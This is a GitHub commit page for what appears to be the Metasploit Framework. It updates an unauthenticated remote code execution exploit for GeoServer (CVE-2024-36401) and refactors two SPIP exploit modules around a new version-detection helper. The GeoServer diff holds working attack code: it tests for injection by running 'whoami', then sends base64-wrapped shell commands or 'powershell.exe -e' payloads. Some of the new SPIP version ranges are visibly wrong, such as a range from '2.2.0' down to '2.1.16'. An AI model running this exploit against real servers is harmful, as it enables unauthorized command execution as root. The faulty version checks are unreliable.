Skip to content

Commit

Permalink
Merge remote-tracking branch 'upstream/master'
Browse files Browse the repository at this point in the history
  • Loading branch information
certcc-ghbot committed Aug 30, 2024
2 parents 2f6d45e + b77b640 commit af9acb4
Show file tree
Hide file tree
Showing 5 changed files with 100 additions and 93 deletions.
17 changes: 9 additions & 8 deletions db/modules_metadata_base.json
Original file line number Diff line number Diff line change
Expand Up @@ -102029,17 +102029,19 @@
"author": [
"h00die-gr3y <[email protected]>",
"jheysel-r7",
"Steve Ikeoka"
"Steve Ikeoka",
"Valentin Lobstein a.k.a chocapikk"
],
"description": "GeoServer is an open-source software server written in Java that provides\n the ability to view, edit, and share geospatial data.\n It is designed to be a flexible, efficient solution for distributing geospatial data\n from a variety of sources such as Geographic Information System (GIS) databases,\n web-based data, and personal datasets.\n In the GeoServer versions < 2.23.6, >= 2.24.0, < 2.24.4 and >= 2.25.0, < 2.25.1,\n multiple OGC request parameters allow Remote Code Execution (RCE) by unauthenticated users\n through specially crafted input against a default GeoServer installation due to unsafely\n evaluating property names as XPath expressions.\n An attacker can abuse this by sending a POST request with a malicious xpath expression\n to execute arbitrary commands as root on the system.",
"references": [
"CVE-2024-36401",
"URL-https://github.com/geoserver/geoserver/security/advisories/GHSA-6jj6-gm7p-fcvv",
"URL-https://github.com/vulhub/vulhub/tree/master/geoserver/CVE-2024-36401",
"URL-https://attackerkb.com/topics/W6IDY2mmp9/cve-2024-36401"
"URL-https://attackerkb.com/topics/W6IDY2mmp9/cve-2024-36401",
"URL-https://github.com/Chocapikk/CVE-2024-36401"
],
"platform": "Linux,Unix",
"arch": "cmd, x86, x64, aarch64, armle",
"platform": "Linux,Unix,Windows",
"arch": "cmd",
"rport": 8080,
"autofilter_ports": [
80,
Expand All @@ -102058,10 +102060,9 @@
],
"targets": [
"Unix Command",
"Linux Dropper",
"Windows Command"
],
"mod_time": "2024-07-16 11:20:35 +0000",
"mod_time": "2024-08-16 09:39:38 +0000",
"path": "/modules/exploits/multi/http/geoserver_unauth_rce_cve_2024_36401.rb",
"is_install_path": true,
"ref_name": "multi/http/geoserver_unauth_rce_cve_2024_36401",
Expand Down Expand Up @@ -131012,7 +131013,7 @@
"targets": [
"Automatic"
],
"mod_time": "2020-10-02 17:38:06 +0000",
"mod_time": "2024-08-19 16:28:52 +0000",
"path": "/modules/exploits/unix/webapp/spip_connect_exec.rb",
"is_install_path": true,
"ref_name": "unix/webapp/spip_connect_exec",
Expand Down Expand Up @@ -131066,7 +131067,7 @@
"Automatic (PHP In-Memory)",
"Automatic (Unix In-Memory)"
],
"mod_time": "2023-02-27 22:34:46 +0000",
"mod_time": "2024-08-19 16:28:52 +0000",
"path": "/modules/exploits/unix/webapp/spip_rce_form.rb",
"is_install_path": true,
"ref_name": "unix/webapp/spip_rce_form",
Expand Down
46 changes: 46 additions & 0 deletions lib/msf/core/exploit/remote/http/spip.rb
Original file line number Diff line number Diff line change
@@ -0,0 +1,46 @@
# -*- coding: binary -*-

module Msf
module Exploit::Remote::HTTP::Spip

include Msf::Exploit::Remote::HttpClient

def initialize(info = {})
super

register_options([
OptString.new('TARGETURI', [true, 'Path to Spip install', '/'])
])
end

# Determine Spip version
#
# @return [Rex::Version] Version as Rex::Version
def spip_version
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, "spip.php")
)

return unless res

version = nil

version_string = res.get_html_document.at('head/meta[@name="generator"]/@content')&.text
if version_string =~ /SPIP (.*)/
version = ::Regexp.last_match(1)
end

if version.nil? && res.headers['Composed-By'] =~ /SPIP (.*)/
version = ::Regexp.last_match(1)
end

if version.nil?
return nil
end

return Rex::Version.new(version)
end

end
end
67 changes: 27 additions & 40 deletions modules/exploits/multi/http/geoserver_unauth_rce_cve_2024_36401.rb
Original file line number Diff line number Diff line change
Expand Up @@ -7,7 +7,6 @@ class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
prepend Msf::Exploit::Remote::AutoCheck
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::CmdStager

def initialize(info = {})
super(
Expand All @@ -31,17 +30,19 @@ def initialize(info = {})
'Author' => [
'h00die-gr3y <h00die.gr3y[at]gmail.com>', # MSF module contributor
'jheysel-r7', # MSF module Windows support
'Steve Ikeoka' # Discovery
'Steve Ikeoka', # Discovery
'Valentin Lobstein a.k.a chocapikk' # Dynamic featuretype code enhancement
],
'References' => [
['CVE', '2024-36401'],
['URL', 'https://github.com/geoserver/geoserver/security/advisories/GHSA-6jj6-gm7p-fcvv'],
['URL', 'https://github.com/vulhub/vulhub/tree/master/geoserver/CVE-2024-36401'],
['URL', 'https://attackerkb.com/topics/W6IDY2mmp9/cve-2024-36401']
['URL', 'https://attackerkb.com/topics/W6IDY2mmp9/cve-2024-36401'],
['URL', 'https://github.com/Chocapikk/CVE-2024-36401']
],
'DisclosureDate' => '2024-07-01',
'Platform' => ['unix', 'linux'],
'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64, ARCH_AARCH64, ARCH_ARMLE],
'Platform' => ['unix', 'linux', 'windows'],
'Arch' => [ARCH_CMD],
'Privileged' => true,
'Targets' => [
[
Expand All @@ -51,23 +52,13 @@ def initialize(info = {})
'Arch' => ARCH_CMD,
'Type' => :unix_cmd
# Tested with cmd/unix/reverse_bash
}
],
[
'Linux Dropper',
{
'Platform' => ['linux'],
'Arch' => [ARCH_X86, ARCH_X64, ARCH_AARCH64, ARCH_ARMLE],
'Type' => :linux_dropper,
'Linemax' => 16384,
'CmdStagerFlavor' => ['curl', 'wget', 'echo', 'printf', 'bourne']
# Tested with linux/x64/meterpreter_reverse_tcp
# Tested with cmd/linux/http/x64/meterpreter/reverse_tcp
}
],
[
'Windows Command',
{
'Platform' => ['Windows'],
'Platform' => ['windows'],
'Arch' => ARCH_CMD,
'Type' => :win_cmd
# Tested with cmd/windows/http/x64/meterpreter/reverse_tcp
Expand Down Expand Up @@ -100,7 +91,7 @@ def check_version
'keep_cookies' => true,
'method' => 'GET'
})
return nil unless res && res.code == 200 && res.body.include?('GeoServer Version')
return nil unless res&.code == 200 && res.body.include?('GeoServer Version')

html = res.get_html_document
unless html.blank?
Expand All @@ -112,7 +103,7 @@ def check_version
end

def get_valid_featuretype
allowed_feature_types = ['sf:archsites', 'sf:bugsites', 'sf:restricted', 'sf:roads', 'sf:streams', 'ne:boundary_lines', 'ne:coastlines', 'ne:countries', 'ne:disputed_areas', 'ne:populated_places']
# get a list of available feature types and test if the feature type is supporting the RCE
res = send_request_cgi!({
'uri' => normalize_uri(target_uri.path, 'geoserver', 'wfs'),
'method' => 'GET',
Expand All @@ -123,36 +114,32 @@ def get_valid_featuretype
'service' => 'wfs'
}
})
return nil unless res && res.code == 200 && res.body.include?('ListStoredQueriesResponse')
return nil unless res&.code == 200 && res.body.include?('ListStoredQueriesResponse')

xml = res.get_xml_document
unless xml.blank?
xml.remove_namespaces!
# get all the FeatureTypes and store them in an array of strings
retrieved_feature_types = xml.xpath('//ReturnFeatureType')
# shuffle the retrieved_feature_types array, and loop through the list of retrieved_feature_types from GeoServer
# return the feature type if a match is found in the allowed_feature_types array
# test and return the feature type if an RCE is possible
retrieved_feature_types.to_a.shuffle.each do |feature_type|
return feature_type.text if allowed_feature_types.include?(feature_type.text)
return feature_type.text if execute_command('whoami', feature_type.text)
end
end
nil
end

def create_payload(cmd)
# get a valid feature type and fail back to a default if not successful
feature_type = get_valid_featuretype
feature_type = 'sf:archsites' if feature_type.nil?

def create_payload(cmd, feature_type)
case target['Type']
when :unix_cmd || :linux_dropper
when :unix_cmd
# create customised b64 encoded payload
# 'Encoder' => 'cmd/base64' does not work in this particular use case
cmd_b64 = Base64.strict_encode64(cmd)
cmd = "sh -c echo${IFS}#{cmd_b64}|base64${IFS}-d|sh"
enc_cmd_b64 = Base64.strict_encode64(cmd)
cmd = "sh -c echo${IFS}#{enc_cmd_b64}|base64${IFS}-d|sh"
when :win_cmd
enc_cmd = Base64.strict_encode64("cmd /C --% #{payload.encoded}".encode('UTF-16LE'))
cmd = "powershell.exe -e #{enc_cmd}"
enc_cmd_b64 = Base64.strict_encode64("cmd /C --% #{cmd}".encode('UTF-16LE'))
cmd = "powershell.exe -e #{enc_cmd_b64}"
end

return <<~EOS
Expand All @@ -166,15 +153,17 @@ def create_payload(cmd)
EOS
end

def execute_command(cmd, _opts = {})
def execute_command(cmd, feature_type, _opts = {})
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, 'geoserver', 'wfs'),
'method' => 'POST',
'ctype' => 'application/xml',
'keep_cookies' => true,
'data' => create_payload(cmd)
'data' => create_payload(cmd, feature_type)
})
fail_with(Failure::PayloadFailed, 'Payload execution failed.') unless res && res.code == 400 && res.body.include?('ClassCastException')
return false unless res&.code == 400 && res.body.include?('ClassCastException')

true
end

def check
Expand All @@ -190,11 +179,9 @@ def exploit

case target['Type']
when :unix_cmd, :win_cmd
execute_command(payload.encoded)
when :linux_dropper
# don't check the response here since the server won't respond
# if the payload is successfully executed.
execute_cmdstager({ linemax: target.opts['Linemax'] })
valid_feature_type = get_valid_featuretype
fail_with(Failure::NotFound, 'No valid featuretype found to estabish the RCE.') if valid_feature_type.nil?
fail_with(Failure::PayloadFailed, 'Payload execution failed.') unless execute_command(payload.encoded, valid_feature_type)
end
end
end
22 changes: 6 additions & 16 deletions modules/exploits/unix/webapp/spip_connect_exec.rb
Original file line number Diff line number Diff line change
Expand Up @@ -7,6 +7,7 @@ class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::Remote::HTTP::Spip

def initialize(info = {})
super(update_info(info,
Expand Down Expand Up @@ -49,30 +50,19 @@ def initialize(info = {})
end

def check
version = nil
uri = normalize_uri(target_uri.path, "spip.php")

res = send_request_cgi({ 'uri' => "#{uri}" })

if res and res.code == 200 and res.body =~ /<meta name="generator" content="SPIP (.*) \[/
version = $1
end

if version.nil? and res.code == 200 and res.headers["Composed-By"] =~ /SPIP (.*) @/
version = $1
end
version = spip_version()

if version.nil?
return Exploit::CheckCode::Unknown
end

vprint_status("SPIP Version detected: #{version}")
print_status("SPIP Version detected: #{version}")

if version =~ /^2\.0/ and version < "2.0.21"
if version.between?(Rex::Version::new("2.0.0"), Rex::Version::new("2.0.21"))
return Exploit::CheckCode::Appears
elsif version =~ /^2\.1/ and version < "2.1.16"
elsif version.between?(Rex::Version::new("2.2.0"), Rex::Version::new("2.1.16"))
return Exploit::CheckCode::Appears
elsif version =~ /^3\.0/ and version < "3.0.3"
elsif version.between?(Rex::Version::new("3.0.0"), Rex::Version::new("3.0.03"))
return Exploit::CheckCode::Appears
end

Expand Down
41 changes: 12 additions & 29 deletions modules/exploits/unix/webapp/spip_rce_form.rb
Original file line number Diff line number Diff line change
Expand Up @@ -9,6 +9,7 @@ class MetasploitModule < Msf::Exploit::Remote
include Msf::Exploit::CmdStager
include Msf::Exploit::Remote::HttpClient
prepend Msf::Exploit::Remote::AutoCheck
include Msf::Exploit::Remote::HTTP::Spip

def initialize(info = {})
super(
Expand Down Expand Up @@ -83,38 +84,20 @@ def check
res = send_request_cgi({ 'uri' => uri.to_s })

return Exploit::CheckCode::Unknown('Target is unreachable.') unless res
return Exploit::CheckCode::Unknown("Target responded with unexpected HTTP response code: #{res.code}") unless res.code == 200

version_string = res.get_html_document.at('head/meta[@name="generator"]/@content')&.text
return Exploit::CheckCode::Unknown('Unable to find the version string on the page: spip.php') unless version_string =~ /SPIP (.*)/
rversion = spip_version
return Exploit::CheckCode::Unknown('Unable to determine the version of SPIP') unless rversion

version = ::Regexp.last_match(1)
print_status("SPIP Version detected: #{rversion}")

if version.nil? && res.headers['Composed-By'] =~ /SPIP (.*) @/
version = ::Regexp.last_match(1)
end

return Exploit::CheckCode::Unknown('Unable to determine the version of SPIP') unless version

print_status("SPIP Version detected: #{version}")

rversion = Rex::Version.new(version)
if rversion >= Rex::Version.new('4.2.0')
if rversion < Rex::Version.new('4.2.1')
return Exploit::CheckCode::Appears
end
elsif rversion >= Rex::Version.new('4.1.0')
if rversion < Rex::Version.new('4.1.18')
return Exploit::CheckCode::Appears
end
elsif rversion >= Rex::Version.new('4.0.0')
if rversion < Rex::Version.new('4.0.10')
return Exploit::CheckCode::Appears
end
elsif rversion >= Rex::Version.new('3.2.0')
if rversion < Rex::Version.new('3.2.18')
return Exploit::CheckCode::Appears
end
if rversion.between?(Rex::Version.new('4.2.0'), Rex::Version.new('4.2.1'))
return Exploit::CheckCode::Appears
elsif rversion.between?(Rex::Version.new('4.1.0'), Rex::Version.new('4.1.18'))
return Exploit::CheckCode::Appears
elsif rversion.between?(Rex::Version.new('4.0.0'), Rex::Version.new('4.0.10'))
return Exploit::CheckCode::Appears
elsif rversion.between?(Rex::Version.new('3.2.0'), Rex::Version.new('3.2.18'))
return Exploit::CheckCode::Appears
end

return Exploit::CheckCode::Safe
Expand Down

0 comments on commit af9acb4

Please sign in to comment.